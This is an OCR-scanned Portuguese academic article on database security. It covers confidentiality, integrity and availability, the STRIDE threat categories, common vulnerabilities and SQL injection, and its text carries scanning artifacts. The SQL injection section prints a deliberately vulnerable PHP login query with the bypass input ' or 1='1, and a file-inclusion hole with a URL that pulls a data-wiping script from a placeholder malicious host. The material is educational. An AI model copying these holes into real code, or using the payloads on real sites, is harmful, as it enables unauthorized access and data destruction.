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INTRODUCAO

Atualmente, se trabalha com uma grande porcéo de dados e esses altamente relacionados com outras
massas de dados ou aplicacdes diversas. Manter esses dados é uma tarefa complexa, tanto no ponto de vista de
seguranga, quanto mecanismos de recuperacdo de falhas, pois existem diversas técnicas ou problemas
operacionais que sdo encontrados a cada dia para danificar, acessar informacdo ou qualquer tipo de agdo néo
esperada em um banco de dados. Esse artigo tem o objetivo de demonstrar quais sdo 0s principais problemas
de seguranca atuais, e como ocorrem.

O banco de dados de uma empresa contém uma grande quantidade de dados e geralmente um grande
namero de usuérios. A maioria destes usuarios ndo tem a necessidade de acessar todos os dados. Assim,
permitir o acesso irrestrito a todos os dados pode ser indesejavel e 0 SGBD deve prover mecanismos para
controlar este acesso.

Conceptualizacéo

Seguranca € a condicdo de estar sendo protegido contra 0 perigo ou a perda. Pode consistir em uma
prote¢do fisica, social, espiritual, financeira, politica, emocional, ocupacional, psicoldgica, educacional ou de
outro tipo. Ou ainda, a ocorréncia de falhas, danos, erros, acidentes ou algum outro evento que poderia ser
considerado indesejado.

Seguranca da informacdo esta relacionada com a protecdo existente ou necessaria sobre dados que
possuem valor para alguém ou para uma organizacdo. Tal seguranga ndo estd restrita a sistemas
computacionais, nem a informacdes eletrénicas ou qualquer outra forma mecénica de armazenamento.

Segundo ALBUQUERQUE (2002) e KRAUSE (1999) as principais propriedades que, atualmente,
orientam a anélise, o planejamento e a implementacdo da seguranga para um determinado grupo de
informacdes que se deseja proteger sdo:

e Confidencialidade — as informagdes s6 podem ser acessadas por pessoas autorizadas pelo seu
proprietario;

e Integridade — as caracteristicas originais da informacao, estabelecidas pelo seu proprietéario, devem ser
mantidas; e

e Disponibilidade — a informagdo deve estar sempre disponivel para os usudrios autorizados pelo
proprietario da informacéo.

Outros conceitos associados a seguranca da informacdo sdo ameaca, vulnerabilidade e ataque que é
uma agao executada por um intruso, que encontra uma vulnerabilidade para provocar a ocorréncia de uma
ameaca.

Ameaca
Ameaca em um sistema computacional é definida como qualquer ocorréncia potencial que pode levar
a um efeito indesejado nos recursos associados ao sistema. A Microsoft classifica essas ameagas em varias
categorias importantes que sdo comumente conhecidas e facilmente lembradas pela sigla STRIDE [HERNAN
(2006)], na qual cada letra representa as iniciais das seguintes ameacas:
e Spoofing (invasdo disfarcada) — o spoofing ocorre quando um invasor (Usuario ou sistema) se passa
por um usuario legal do sistema;
e Tampering (adulteracdo) — a adulteragdo ocorre quando um invasor adultera o sistema;
e Repudiation (repudio) — o repudio ocorre quando ndo é capaz de provar o responsavel por
determinadas modificacdes no sistema;
e Information disclousure (revelacdo de informacdes) — a revelacdo de informacdo ocorre quando as
informagdes de um usuario sdo visualizadas por um invasor;



e Denial of Service (negacdo de servico) — um ataque de negacdo de servico ocorre quando uma
aplicacao inunda o processamento ou a memoria de um sistema pela grande injecdo de mensagens; e

e Elevation of privilege (elevagdo de privilégios) — os ataques de elevagdo de privilégios sdo
carregados quando um invasor for capaz de elevar ou ganhar privilégios adicionais aos normalmente
concedidos.

Vulnerabilidade

Vulnerabilidade é uma caracteristica do sistema que torna possivel que uma ameaca potencial ocorra.
Ou seja, uma vulnerabilidade permite que algo ruim aconteca. Algumas das vulnerabilidades mais comuns sao
descritas a seguir:
Atividade de usuario — os préprios usuarios podem tornar o sistema vulneravel. Por exemplo, quando um
usuario inadvertidamente tenta abrir um anexo de e-mail que possa conter um virus;
Nomes de usudrio e senhas fracos — nomes de usuario fracos, como “administrador”, “gerente”, e senhas
fracas, como uma senha em branco ou “1234” (uma sequéncia);
PermissOes excessivas — aos usuérios frequentemente sdo concedidos mais permissdes e privilégios do que sdo
estritamente necessarios. Permitindo que os usuarios acidentalmente ou intencionalmente gerassem brechas na
seguranga;
Engano — os usuarios podem ser iludidos em revelar informagdes privadas sobre eles mesmos. Por exemplo,
um site disfar¢ado de um site de banco para capturar a senha da conta corrente do usuario;
Servicos e portas excessivos — na qual os servigos e portas que ndo sdo utilizados podem fornecer uma
abertura para invasores; e
Ataques de injecdo de SQL (SQL Injection) — esses ataques ocorrem quando uma pessoa mal intencionada
usa as entradas de usuario injetando, ao invés do contetdo requerido, instru¢cdes SQL para manipular o retorno
das informagdes.

SQL Injection

SQL Injection é uma das principais ameacas que encontramos em relagdo a ataques em banco de
dados, o termo é muito popular principalmente entre programadores.

O SQL Injection é um ataque que visa enviar comandos nocivos a base de dados através de campos de
formularios ou através de URLs. Um ataque bem-sucedido pode, por exemplo, apagar uma tabela do banco,
deletar todos os dados da tabela ou até adquirir senhas que estejam cadastradas.

Veja abaixo um exemplo de vulnerabilidade em um sistema de login:

Susuario = $ POST['usuario'];

$senha = $ POST['senha'];

$sgql = "SELECT * FROM usuarios WHERE usuario = '".S$Susuario."' AND senha =
'"-$Senha-"' ",.

Sprocessa = mysql query($sql);

Neste exemplo as varidveis $usuario e $senha recebem conteddo vindo diretamente de um formulario
através do método POST. Imagine que o conteudo da variavel $senha seja ““or 1="1”. Se nenhuma valida¢ao
for realizada, o usuario mal-intencionado tera efetuado login no sistema sem ao menos ter especificado um
cadastro valido, devido a uma falha gerada na instrucdo SQL.

Analisemos outro exemplo de vulnerabilidade. Muitos sites utilizam sistemas via Z
if (isset($_GET['pagina'l)) {

// Pega o valor da varidvel $ GET['pagina']

Sarquivo = § GET['pagina'l;

} else {
// Se ndo existir variéavel, define um valor padréo
Sarquivo = 'home.php';

}
include ($arquivo); // Inclui o arquivo
E na URL do site vocé poderia ter:
http://www.seusite.com.br/?pagina=contato.php
Com isso o “invasor” pode, por exemplo, colocar um caminho de um script externo no lugar da
variavel:
http://www.seusite.com.br/?pagina=http://malicioso.com/apaga-banco.php



O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele e seu banco
poderia ser completamente zerado. Para esse tipo de coisa existe apenas uma solucdo, validacdo. A validagdo
pode ser feita de varias maneiras, até mesmo com funcdes nativas da linguagem.

Seguranca

Os dados armazenados em Bancos de Dados precisam ser protegidos contra acessos nao-autorizados,
destruicdo ou alteragdo intencional e introducédo acidental de inconsisténcias.

Existem alguns aspectos a serem considerados sobre seguranca:

e Aspectos legais, sociais e éticos (exemplo: a pessoa que faz a solicitagdo referente ao crédito de um
cliente tem direito legal em relacdo a informagao?)

e Controles fisicos (a sala com os servidores deve ficar trancada ou protegida fisicamente de alguma

outra maneira?)

Questdes politicas (como decidir quem tem acesso a que dentro do BD?)

Problemas operacionais (na adogdo de um sistema de senhas, como as senhas sdo mantidas?)

Controle de hardware (existem chaves de prote¢éo?)

Seguranca do sistema operacional (qual a politica de armazenamento e estrutura de arquivos do
sistema?)

O mau uso do Banco de dados pode ser considerado como intencional ou acidental. A perda
acidental pode resultar de:

e  Quebras durante o processamento de transacdes;

e Anomalias causadas por acesso concorrente aos dados;

e Anomalias causadas por distribui¢cdo do banco de dados.

E mais facil proteger o sistema contra perdas acidentais do que contra acessos maldosos ao Banco de
dados. Entre as formas de acesso maldoso estéo:

e Leitura ndo autorizada de dados (roubo de informagdes);

e Modificagdo ndo autorizada de dados;

e Destrui¢do ndo autorizada de dados;

e Insercdo ndo autorizada de dados.

A protecdo do Banco de Dados contra acesso insidioso é impossivel, mas o custo para o criminoso
pode ser suficientemente alto para prevenir muitas, se ndo todas, tentativas de acesso ao Banco de Dados sem
autorizagéo.

A seguranga de banco de dados, geralmente, diz respeito a seguranga contra acessos maldosos,
enquanto a integridade se refere ao fato de evitar a perda acidental da consisténcia. Com a finalidade de
proteger o BD, medidas de seguranca devem ser tomadas em diversos niveis:

e Fisico — o sistema de computador deve ser fisicamente seguro contra entradas clandestinas de
intrusos;

e Humano — os usudrios devem ser cuidadosamente autorizados, para reduzir a chance de qualquer
fornecimento de acesso a um intruso em troca de suborno ou favores;

e Sistema operacional — independente da seguranca do SGBD, a debilidade na seguranga do SO pode
servir como um meio de acesso ndo-autorizado ao banco de dados;

e Sistema de BD — alguns usuarios de sistemas de BD podem ter autorizacdo de acesso somente a uma
porcédo limitada do BD. Outros usuarios podem estar habilitados a emitir consultas, mas podem ser
proibidos de modificar dados;

Deve ser dedicado um esfor¢o consideravel para preservar a integridade e a seguranca de um banco de
dados. Os dados pertencentes a uma organizacdo podem interessar a seus competidores, e a perda destes dados
por fraude ou acidente pode representar prejuizo para uma organizagao.

CONCLUSAO

Dados atualmente, na era do conhecimento, é valioso tanto para empresas quanto para pessoas
comuns. A era do conhecimento persiste na informatizagdo de dados que vao desde dados simples como nome,
sexo, etc; a dados sigilosos como documentos pessoais, contas bancarias, etc.



Com essa massiva quantidade de dados espalhados e pela tecnologia atual, € impossivel que algo seja
100% seguro. Esse artigo permitiu entender quais sdo os principais problemas de seguranca e entender como
funcionam, para que haja um esfor¢co minimo no desenvolvimento de aplicagfes com seguranga.
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